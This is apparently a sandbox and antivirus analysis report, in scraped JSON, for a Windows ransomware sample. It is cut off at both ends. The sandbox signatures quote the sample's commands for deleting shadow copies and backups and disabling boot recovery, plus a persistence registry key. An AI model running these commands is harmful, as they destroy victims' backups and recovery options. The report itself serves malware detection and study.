pg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791269012777,"unified_at":"2026-10-06T06:43:32.777Z","metadata":{"hashes":{"sha256":"f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed","sha1":"0c86e81ea25aa2bed763b2016844c1cfa9597b2a","md5":"27e492ed5e28e030a0a46437c32efee1","sha512":"bd98db0ed466525e866d4a9c07798dcf7c12d0881e239380e231bfd25f8124ed5a96087ccd93100074fe84d6c99e5a80d09565c86708cd202938bbdba90f6cbb","ssdeep":"6144:Sh5b5i5QGP4hzml3YLuzJuXY20gQLvsO4yHYhDmXJjrjMKwgKpETY2B2I8YgP:KA4s3YPrHQrrHYRmXJPjxYOQBYgP","ssdeep_chunks":["6144:Sh5b5i5","6144:h5b5i5Q","6144:5b5i5QG","6144:b5i5QGP","6144:5i5QGP4","6144:i5QGP4h","6144:5QGP4hz","6144:QGP4hzm","6144:GP4hzml","6144:P4hzml3","6144:4hzml3Y","6144:hzml3YL","6144:zml3YLu","6144:ml3YLuz","6144:l3YLuzJ","6144:3YLuzJu","6144:YLuzJuX","6144:LuzJuXY","6144:uzJuXY2","6144:zJuXY20","6144:JuXY20g","6144:uXY20gQ","6144:XY20gQL","6144:Y20gQLv","6144:20gQLvs","6144:0gQLvsO","6144:gQLvsO4","6144:QLvsO4y","6144:LvsO4yH","6144:vsO4yHY","6144:sO4yHYh","6144:O4yHYhD","6144:4yHYhDm","6144:yHYhDmX","6144:HYhDmXJ","6144:YhDmXJj","6144:hDmXJjr","6144:DmXJjrj","6144:mXJjrjM","6144:XJjrjMK","6144:JjrjMKw","6144:jrjMKwg","6144:rjMKwgK","6144:jMKwgKp","6144:MKwgKpE","6144:KwgKpET","6144:wgKpETY","6144:gKpETY2","6144:KpETY2B","6144:pETY2B2","6144:ETY2B2I","6144:TY2B2I8","6144:Y2B2I8Y","6144:2B2I8Yg","6144:B2I8YgP","12288:Sh5b5i5","12288:h5b5i5Q","12288:5b5i5QG","12288:b5i5QGP","12288:5i5QGP4","12288:i5QGP4h","12288:5QGP4hz","12288:QGP4hzm","12288:GP4hzml","12288:P4hzml3","12288:4hzml3Y","12288:hzml3YL","12288:zml3YLu","12288:ml3YLuz","12288:l3YLuzJ","12288:3YLuzJu","12288:YLuzJuX","12288:LuzJuXY","12288:uzJuXY2","12288:zJuXY20","12288:JuXY20g","12288:uXY20gQ","12288:XY20gQL","12288:Y20gQLv","12288:20gQLvs","12288:0gQLvsO","12288:gQLvsO4","12288:QLvsO4y","12288:LvsO4yH","12288:vsO4yHY","12288:sO4yHYh","12288:O4yHYhD","12288:4yHYhDm","12288:yHYhDmX","12288:HYhDmXJ","12288:YhDmXJj","12288:hDmXJjr","12288:DmXJjrj","12288:mXJjrjM","12288:XJjrjMK","12288:JjrjMKw","12288:jrjMKwg","12288:rjMKwgK","12288:jMKwgKp","12288:MKwgKpE","12288:KwgKpET","12288:wgKpETY","12288:gKpETY2","12288:KpETY2B","12288:pETY2B2","12288:ETY2B2I","12288:TY2B2I8","12288:Y2B2I8Y","12288:2B2I8Yg","12288:B2I8YgP","6144:KA4s3YP","6144:A4s3YPr","6144:4s3YPrH","6144:s3YPrHQ","6144:3YPrHQr","6144:YPrHQrr","6144:PrHQrrH","6144:rHQrrHY","6144:HQrrHYR","6144:QrrHYRm","6144:rrHYRmX","6144:rHYRmXJ","6144:HYRmXJP","6144:YRmXJPj","6144:RmXJPjx","6144:mXJPjxY","6144:XJPjxYO","6144:JPjxYOQ","6144:PjxYOQB","6144:jxYOQBY","6144:xYOQBYg","6144:YOQBYgP"],"imphash":"6d0513dc487606d661c6f2dac2402fa4"},"file_info":{"file_name":"Sample_5ad64c399a911230fa2fc0e7.false","file_type":["peexe","executable"],"file_type_id":"exe","file_size":421888,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1524077118000,"last_seen":1640657618000,"last_multi_scan":1640657618000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["betisrypt","crypt","downloader","filecoder","genasom","lockcrypt","ransomware","tiggre"]},"stats":{"av":{"malicious_count":19,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":22,"suspicious_count":27,"malicious_count":5,"total":54},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.Purga","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.MalwareCrypter.Z","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Scarab.21","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Scarab.21 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Filecoder.FS trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/Generic!E08814FF65FBB81D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Krypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0052db631 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Purga.mc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Purga.faeijb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"APEXCFC.Backdoor.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.Purga.421888","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.166A99EE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.166A99EE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.BLDR","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanRansom.Purga","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.Scarab.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"mshta.exe\" at 00032191-00002316-00000105-74049112\n \"mshta.exe\" at 00034177-00000576-00000105-78469172\n \"mshta.exe\" at 00034180-00000692-00000105-78509177\n \"vssadmin.exe\" at 00035122-00003712-00000105-81453757","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"mshta.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 33971-1597-00424EE1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00026810-00002140-45647-13-0041A3C1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00026810-00002140-45647-14-00418B5D\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00026810-00002140-45647-935-00424EE1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00030210-00002300-57375-14-00418B5D\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00030210-00002300-57375-13-0041A3C1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00030210-00002300-57375-1446-00424EE1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00032187-00003584-19761-13-0041A3C1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00032187-00003584-19761-14-00418B5D\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00032187-00003584-19761-1446-00424EE1","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API InitCommonControls@COMCTL32.DLL at 00026810-00002140-45647-430-0040E140\n Found reference to API InitCommonControlsEx@COMCTL32.DLL at 00026810-00002140-45647-437-0040E1DE\n Found reference to API ImageList_Destroy@COMCTL32.DLL at 00026810-00002140-45647-1161-0041230F\n Found reference to API InitCommonControlsEx@COMCTL32.DLL at 00030210-00002300-57375-960-0040E1DE\n Found reference to API InitCommonControls@COMCTL32.DLL at 00030210-00002300-57375-953-0040E140\n Found reference to API ImageList_Destroy@COMCTL32.DLL at 00030210-00002300-57375-1672-0041230F\n Found reference to API InitCommonControls@COMCTL32.DLL at 00032187-00003584-19761-953-0040E140\n Found reference to API InitCommonControlsEx@COMCTL32.DLL at 00032187-00003584-19761-960-0040E1DE\n Found reference to API ImageList_Destroy@COMCTL32.DLL at 00032187-00003584-19761-1672-0041230F","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.dll at 33971-1273-00404B66\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00026810-00002140-45647-240-0042408F\n GetLocalTime@KERNEL32.DLL at 00026810-00002140-45647-611-00404B66\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00030210-00002300-57375-240-0042408F\n GetLocalTime@KERNEL32.DLL at 00030210-00002300-57375-1131-00404B66\n GetLocalTime@KERNEL32.DLL at 00032187-00003584-2532-173-0040B134\n GetLocalTime@KERNEL32.DLL at 00032187-00003584-2532-239-0040B160\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00032187-00003584-19761-240-0042408F\n GetLocalTime@KERNEL32.DLL at 00032187-00003584-19761-1131-00404B66","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"$27","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00032187-00003584-2532-771-00409F4C","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$28","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$29","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy /y \"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe\" \"%APPDATA%\\systems.exe\"\" on 2018-4-18.11:51:34.184\n \"/c copy /y \"C:\\Sample_5ad64c399a911230fa2fc0e7.false.exe\" \"%APPDATA%\\systems.exe\"\" on 2018-4-18.11:51:53.963\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2018-4-18.11:54:18.448\n \"/c wmic SHADOWCOPY DELETE\" on 2018-4-18.11:54:18.919\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2018-4-18.11:54:19.419\n \"/c bcdedit /set {default} recoveryenabled No\" on 2018-4-18.11:54:20.130\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2018-4-18.11:54:20.481","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"#32770\"\n \"systems.exe\" searching for class \"#32770\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2a","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"systems.exe\" connecting to \"\\ThemeApiPort\"\n \"mshta.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"autoexec.bat\" has type \"data\"\n \"MineSweeper.lnk\" has type \"data\"\n \"rRgk91Ih5n.doc\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"C04T72pR0Bcl.doc\" has type \"data\"\n \"Desktop.lnk\" has type \"data\"\n \"w5JaoO.doc\" has type \"data\"\n \"pmd.cer\" has type \"data\"\n \"Downloads.lnk\" has type \"data\"\n \"bg3oTe.doc\" has type \"data\"\n \"RTC.der\" has type \"data\"\n \"0zIG0D.doc\" has type \"data\"\n \"Windows Media Player.lnk\" has type \"data\"\n \"Sticky Notes.lnk\" has type \"data\"\n \"Calculator.lnk\" has type \"data\"\n \"klmqz.doc\" has type \"data\"\n \"mtgFs8Za.doc\" has type \"data\"\n \"RecentPlaces.lnk\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"HEZOH\"; Value: \"%APPDATA%\\systems.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2b","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"setup.exe/IDR_EULA_CSS.CSS\"\n Pattern match: \"https://support.google.com/chrome/?p=usage_stats_crash_reports\"\n Pattern match: \"https://localbitcoins.com/buy_bitcoins\"\n Heuristic match: \"email - joxe1@cock.li\"\n Heuristic match: \"Contact us using this email address: joxe1@cock.li\"\n Pattern match: \"http://www.coindesk.com/information/how-can-i-buy-bitcoins\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"systems.exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"wbadmin.exe\" opened \"\\Device\\KsecDD\"\n \"vssadmin.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Sample_5ad64c399a911230fa2fc0e7.false.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Process deletes itself","description":"\"%APPDATA%\\systems.exe\" deletes itself","origin":"API Call","relevance":10,"id":"api-27","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"$2c","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00034754-00003944)\n Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00035073-00003688)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 16 calls to GetProcAddress@KERNEL32.DLL at 00032187-00003584-2532-139-00412468","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.80943852991","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to measure performance","description":"rdtsc at 00032187-00003584-2532-354-004205C0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-6","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00026810-00002140-45647-981-004267F4\n cpuid at 00030210-00002300-57375-1492-004267F4\n cpuid at 00032187-00003584-19761-1492-004267F4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"PSPUBWS.contact\" containing the Windows username \"PSPUBWS\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"systems.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"$2d","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"C:\\Users\\desktop.ini\"\n \"\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"systems.exe\" read file \"C:\\Users\\desktop.ini\"\n \"systems.exe\" read file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"systems.exe\" read file \"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGMGPUOptIn.ini\"\n \"systems.exe\" read file \"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\DEU\\eula.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00032187-00003584-2532-82-004255B0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"\" is creating a new process (Name: \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\KindMap\", Handle: 416)\n \"\" is creating a new process (Name: \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\", Handle: 572)\n \"\" is creating a new process (Name: \"%WINDIR%\\, Handle: 656)\n \"\" is creating a new process (Name: \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\S-1-5-21-4162757579-3804539371-4239455898-1000\", Handle: 408)\n \"systems.exe\" is creating a new process (Name: \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2\\CPC\\Volume\\{8177f4e5-b53f-11e4-a9c2-806e6f6e6963}\", Handle: 532)\n \"systems.exe\" is creating a new process (Name: \"D:\\\", Handle: 536)","origin":"API 